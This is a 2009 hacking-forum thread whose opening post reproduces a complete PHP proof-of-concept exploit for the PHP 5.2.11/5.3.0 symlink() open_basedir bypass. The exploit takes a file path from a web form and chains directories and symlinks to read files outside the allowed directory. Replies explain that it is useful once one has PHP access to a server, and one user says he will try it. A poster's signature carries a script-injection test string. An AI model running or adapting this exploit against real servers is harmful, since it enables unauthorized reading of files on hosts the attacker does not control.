Exploits, Vulnerabilities & PoCs Got information about the above?

InterN0T Affiliates:
EvilZonepy1337

SirCapsAlot.NET

Reply
 
LinkBack Thread Tools Display Modes
  #1  
Old 13th November 2009, 17:18
dsf's Avatar
dsf dsf is offline
 
Join Date: Oct 2009
Location: Portugal
Posts: 105
Rep Power: 4
Reputation: 33
dsf is on the way to become something
PHP 5.2.11/5.3.0 symlink() open_basedir bypass

Just got a notification on my email account
about this vulnerability, where a user could
bypass open_basedir in the last stable PHP
versions.

Original advisory

PoC exploit:
PHP Code:
<?php
/*
PHP 5.2.11/5.3.0 symlink() open_basedir bypass 
by Maksymilian Arciemowicz http://securityreason.com/
cxib [ a.T] securityreason [ d0t] com

CHUJWAMWMUZG
*/

$fakedir="cx";
$fakedep=16;

$num=0// offset of symlink.$num

if(!empty($_GET['file'])) $file=$_GET['file'];
else if(!empty(
$_POST['file'])) $file=$_POST['file'];
else 
$file="";

echo 
'<PRE><img
src="http://securityreason.com/gfx/logo.gif?cx5211.php"><P>This is exploit
from <a
href="http://securityreason.com/" title="Security Audit PHP">Security Audit
Lab - SecurityReason</a> labs.
Author : Maksymilian Arciemowicz
<p>Script for legal use only.
<p>PHP 5.2.11 5.3.0 symlink open_basedir bypass
<p>More: <a href="http://securityreason.com/">SecurityReason</a>
<p><form name="form"
 action="http://'
.$_SERVER["HTTP_HOST"].htmlspecialchars($_SERVER["PHP_SELF
"
]).'" method="post"><input type="text" name="file" size="50"
value="'
.htmlspecialchars($file).'"><input type="submit" name="hym"
value="Create Symlink"></form>'
;

if(empty(
$file))
    exit;

if(!
is_writable("."))
    die(
"not writable directory");

$level=0;

for(
$as=0;$as<$fakedep;$as++){
    if(!
file_exists($fakedir))
        
mkdir($fakedir);
    
chdir($fakedir);
}

while(
1<$as--) chdir("..");

$hardstyle explode("/"$file);

for(
$a=0;$a<count($hardstyle);$a++){
    if(!empty(
$hardstyle[$a])){
        if(!
file_exists($hardstyle[$a])) 
            
mkdir($hardstyle[$a]);
        
chdir($hardstyle[$a]);
        
$as++;
    }
}
$as++;
while(
$as--)
    
chdir("..");

@
rmdir("fakesymlink");
@
unlink("fakesymlink");

@
symlink(str_repeat($fakedir."/",$fakedep),"fakesymlink");

// this loop will skip allready created symlinks.
while(1)
    if(
true==(@symlink("fakesymlink/".str_repeat("../",$fakedep-1).$file,
"symlink".$num))) break;
    else 
$num++;

@
unlink("fakesymlink");
mkdir("fakesymlink");

die(
'<FONT COLOR="RED">check symlink <a
href="./symlink'
.$num.'">symlink'.$num.'</a> file</FONT>');

?>
It's still fresh on the news
__________________

&lt;SCR\0IPT&gt;alert(1);/*<!--
Reply With Quote
  #2  
Old 13th November 2009, 23:08
 
Join Date: Sep 2009
Posts: 86
Rep Power: 4
Reputation: 1
ccoder is an unknown memory address at this point
Re: PHP 5.2.11/5.3.0 symlink() open_basedir bypass

tanx man , what can we do with kind of bug ?
__________________
I love InterN0T
Reply With Quote
  #3  
Old 15th November 2009, 15:12
MaXe's Avatar
Studying shellcode..
 
Join Date: Jun 2008
Location: Sweden - Ljusdal
Posts: 3,424
Blog Entries: 36
Rep Power: 10
Reputation: 204
MaXe has made his way up the systemMaXe has made his way up the systemMaXe has made his way up the system
Re: PHP 5.2.11/5.3.0 symlink() open_basedir bypass

Quote:
Originally Posted by ccoder
what can we do with kind of bug ?
Bypass PHP open_basedir (a kind of safe_mode) ccoder :-P

Very useful if you have PHP access to a server and if you're blocked by open_basedir()
__________________

Quote:
Originally Posted by Norph
MaXe, I really doubt that you are able to browse ANY site more than 2 minutes before you start pwning it xD
Reply With Quote
  #4  
Old 15th November 2009, 15:54
 
Join Date: Sep 2009
Posts: 86
Rep Power: 4
Reputation: 1
ccoder is an unknown memory address at this point
Re: PHP 5.2.11/5.3.0 symlink() open_basedir bypass

Tanx MaXe ,

i have read about php safe mode at php.net
Code:
http://php.net/manual/en/ini.sect.safe-mode.php
i think we can load restricted file like shadow with this flaw , am i right ?
__________________
I love InterN0T
Reply With Quote
  #5  
Old 15th November 2009, 20:54
MaXe's Avatar
Studying shellcode..
 
Join Date: Jun 2008
Location: Sweden - Ljusdal
Posts: 3,424
Blog Entries: 36
Rep Power: 10
Reputation: 204
MaXe has made his way up the systemMaXe has made his way up the systemMaXe has made his way up the system
Re: PHP 5.2.11/5.3.0 symlink() open_basedir bypass

Quote:
Originally Posted by ccoder View Post
Tanx MaXe ,

i have read about php safe mode at php.net
Code:
http://php.net/manual/en/ini.sect.safe-mode.php
i think we can load restricted file like shadow with this flaw , am i right ?
It's good that you read the "manual" for safe mode in PHP.

However it is not possible to load restricted files that are owned by
root just because you can bypass a minor restriction in PHP ccoder.

You still need root privileges which is why the technique or method to
gain that is called: Privilege escalation (as in getting admin or root).
__________________

Quote:
Originally Posted by Norph
MaXe, I really doubt that you are able to browse ANY site more than 2 minutes before you start pwning it xD
Reply With Quote
  #6  
Old 22nd November 2009, 14:11
 
Join Date: Aug 2009
Posts: 5
Rep Power: 5
Reputation: 1
N4ck0 is an unknown memory address at this point
Re: PHP 5.2.11/5.3.0 symlink() open_basedir bypass

nice one brother
thx for share
Reply With Quote
  #7  
Old 29th November 2009, 17:13
 
Join Date: Nov 2009
Posts: 1
Rep Power: 4
Reputation: 1
SaD HaCk3r is an unknown memory address at this point
Re: PHP 5.2.11/5.3.0 symlink() open_basedir bypass

ThX AloT i WilL Try :)
Reply With Quote
Reply

Bookmarks

Thread Tools
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are Off
Pingbacks are Off
Refbacks are On


Similar Threads
Thread Thread Starter Forum Replies Last Post
[Question] bypass BIOS password OriginalGank General Hacking Discussions 8 14th April 2010 19:11
[Guide] Web ByPass tutorial [Credit: DarkSolo] Evox Offensive Guides & Information 1 26th August 2009 12:24
Microsoft IIS 6.0 WebDAV - Authentication Bypass MaXe Exploits, Vulnerabilities & PoCs 0 25th May 2009 14:41
PHP cURL 'safe_mode' and 'open_basedir' Bypass Vulnerability MaXe Exploits, Vulnerabilities & PoCs 1 16th April 2009 17:11
ProFTPd with mod_mysql Authentication Bypass Exploit 0x3 Exploits, Vulnerabilities & PoCs 2 14th February 2009 16:13


All times are GMT +2. The time now is 18:15.
Copyright ©2007 - Forever, InterN0T & Teh Unkwon

Hosted by 1and1